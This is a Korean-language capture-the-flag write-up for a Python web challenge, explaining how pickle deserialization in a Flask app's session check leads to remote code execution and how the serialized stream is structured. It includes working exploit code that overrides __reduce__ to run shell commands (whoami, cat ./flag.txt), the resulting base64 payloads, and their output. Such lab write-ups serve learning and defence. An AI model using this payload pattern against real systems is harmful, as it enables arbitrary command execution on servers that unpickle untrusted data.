web-deserialize-python

소스코드
app.py
- 이번 문제에서 주어진 소스코드는
app.py1개 파일로 구성되었다.- (1) 인덱스(/) 경로로 이동하면
index.html파일을 화면에 보여준다. - (2) /create_session 경로 접근 시에는 HTTP 메소드에 따라 결과가 달라진다.
- (3)
create_session(), check_session()함수를 보면 pickle 모듈을 이용하여 데이터 직렬화/역직렬화를 수행하고 있다. 여기서 직렬화(Serialization)란 객체(object)나 데이터 구조를 파일이나 네트워크로 전송 가능한 바이트 스트림 형태로 변환하는 과정을 말한다. 이 때 일부 문자들은 제대로 인식되지 않는 경우가 있기 때문에, 이를 방지하기 위해 base64로 인코딩, 디코딩하여 사용하는 것이 일반적이다.pickle모듈은dump, dumps, load, loads4가지 함수를 제공하는데, 이는 직렬화/역직렬화 기능을 수행한다.

- (1) 인덱스(/) 경로로 이동하면
- 역직렬화 취약점이란 공격자에 의해 서버로 전달된 직렬화 데이터(악성 페이로드가 담긴)가 역직렬화 될 때, 삽입된 페이로드가 원격지에서 실행가능한 것을 말한다.
- 위 코드에서는
pickle.dumps(info)로 직렬화된 데이터가pickle.loads(...)에 의해 역직렬화 되고, 이 값(info)이 브라우저에 전달되어 렌더링 되는 구조를 띤다. 따라서, 해당 취약점을 악용하면info변수에 담긴 데이터가check_session.html파일에 렌더링 될 때 임의의 코드를 실행시킬 수 있다.pickle모듈에는__reduce__함수가 존재하는데, 이 함수는 직렬화 된 계층 구조를 unpickling 할 때 객체를 재구성하는 것에 대한 tuple을 반환한다.pickle모듈의 역직렬화 과정에서는__reduce__()함수가 반환한 값을 기반으로 객체를 복원하는데, 이 메소드를 오버라이딩해서 (호출 가능한 함수, 그 객체에 전달할 인자) 형태의 튜플을 리턴(반환)하도록 하면 역직렬화 시 해당 함수가 실제로 호출된다.- 공식 문서에서는
pickle모듈을 사용하여 unpickling 을 수행할 때, 임의의 코드가 실행될 수 있음을 고지하고 있다.

EXPLOIT
- 공격 과정은 다음과 같다.
- (1) 데이터 역직렬화 시 실행할 페이로드를 생성한다.
__reduce__함수 오버라이딩을 위해 이 부분은 로컬 환경에서 진행했다.
- (2) 생성된 세션 값을
/check_session에서 확인하여 RCE 실행을 유도한다.

- (1) 데이터 역직렬화 시 실행할 페이로드를 생성한다.
- 윈도우 로컬 환경에서 테스트를 진행한 결과는 아래와 같다.
pickle모듈의__reduce__함수를 오버라이딩 하여 리턴 값을(역직렬화 시 호출할 함수, 그 함수에 넘길 인자 튜플)형식으로 지정하면 역직렬화 시return (callable, args)형태로 사용된다.
import pickle, base64, subprocess
class Exploit:
def __reduce__(self):
return (subprocess.getoutput, ("whoami",))
if __name__ == "__main__":
data = {"name": Exploit()}
payload = base64.b64encode(pickle.dumps(data)).decode('utf8')
print(f'페이로드: {payload}\n페이로드 실행결과: {pickle.loads(base64.b64decode(payload))}')
[ . . . ]
PS C:\Users\dkssudgktpdy\Downloads\85f040dd-4095-4eb7-b5e3-cc1f142db111> python .\exploit.py
페이로드: gAN9cQBYBAAAAG5hbWVxAWNzdWJwcm9jZXNzCmdldG91dHB1dApxAlgGAAAAd2hvYW1pcQOFcQRScQVzLg==
페이로드 실행결과: {'name': 'dkssudgktpdy\\dkssudgktpdy'}- 운영체제 명령어가 내 로컬 환경에서 정상적으로 실행되는 것을 확인했으니 이제 대상 호스트에서 RCE를 진행해보자.
- 공격에 사용한 전체 코드는 아래와 같다.
- (이번에는 pickle.dumps 로 실행할 값만 추출하고, 그 값을 /check_session 에 전달했다.)
import pickle, base64, subprocess
class Exploit:
def __reduce__(self):
return (subprocess.getoutput, ("cat ./flag.txt",))
if __name__ == "__main__":
data = {"name": Exploit()}
payload = base64.b64encode(pickle.dumps(data)).decode('utf8')
print(f'페이로드: {payload}\n페이로드 실행결과: {pickle.loads(base64.b64decode(payload))}')
[ . . . ]
PS C:\Users\dkssudgktpdy\Downloads\85f040dd-4095-4eb7-b5e3-cc1f142db111> python .\exploit.py
페이로드: gAN9cQBYBAAAAG5hbWVxAWNzdWJwcm9jZXNzCmdldG91dHB1dApxAlgOAAAAY2F0IC4vZmxhZy50eHRxA4VxBFJxBXMu- 쨘, RCE를 통해 플래그 정보를 확인할 수 있었다.

번외
- 이번 문제는
pickle.dumps를 사용하여 직렬화 된 데이터를 다시 역직렬화 할 때 삽입된 운영체제 명령어를 원격지에서 실행하는 것이 포인트였다. 그럼 직렬화 된 데이터가 어떤 구조로 이뤄지는지는 어떻게 확인할 수 있을까? - 이는
pickletools.dis를 통해pickle모듈로 직렬화 된 값을 디스어셈블 하면 확인할 수 있다.\x80 PROTO 3: pickle 프로토콜 버전 3 사용} EMPTY_DICT: 빈 딕셔너리{}를 스택에 pushBININPUT, BINUNICODE: 입력된 값의 인덱스 번호와 저장할 값을 의미한다.c GLOBAL 'subprocess getoutput':GLOBALopcode는"모듈 이름" + "공백" + "객체 이름"형식의 문자열을 받음- 여기서는
subprocess getoutput에 해당하며, 내부적으로는import subprocess; obj=subprocess.getoutput이다.
- 여기서는
\x85 TUPLE1: 스택 맨 위의 하나를 꺼내서, 그걸 원소 1개짜리 튜플로 감싼 뒤 다시 push- 즉
"cat ./flag.txt"→("cat ./flag.txt",)
- 즉
q BINPUT 4: 그 튜플을 4번째 인덱스에 저장R REDUCE: 스택에서 위 2개를 pop (args = ("cat ./flag.txt",),func = subprocess.getoutput)__reduce__함수의 리턴 값은 (callable, args) 구조이기 때문에 2개의 값이 pop 되는 것임.
q BINPUT 5: 스택에subprocess.output("cat ./flag.txt")결과를 push[{}, "name", subprocess.getoutput, ("cat ./flag.txt",)] → [{}, "name", "DH{...}"]
s SETITEM: 스택에서 3개를 pop 하고 다시 그 딕셔너리({"name": FLAG_CONTENTS})를 스택에 push. STOP: 역직렬화 종료, 현재 스택의 top을 최종 반환값으로 돌려줌.

🐛.. 🐛.. 🐛..
REFERENCE
- https://sunnie399.tistory.com/entry/python-deserialize-%EC%B7%A8%EC%95%BD%EC%A0%90-pickle
- https://rootable.tistory.com/entry/python-deserialize-vulnerability-in-pickle-module
- https://rushter.com/blog/pickle-serialization-internals/
- https://hg2lee.tistory.com/entry/DeserializeVulnability-for-PythonPickle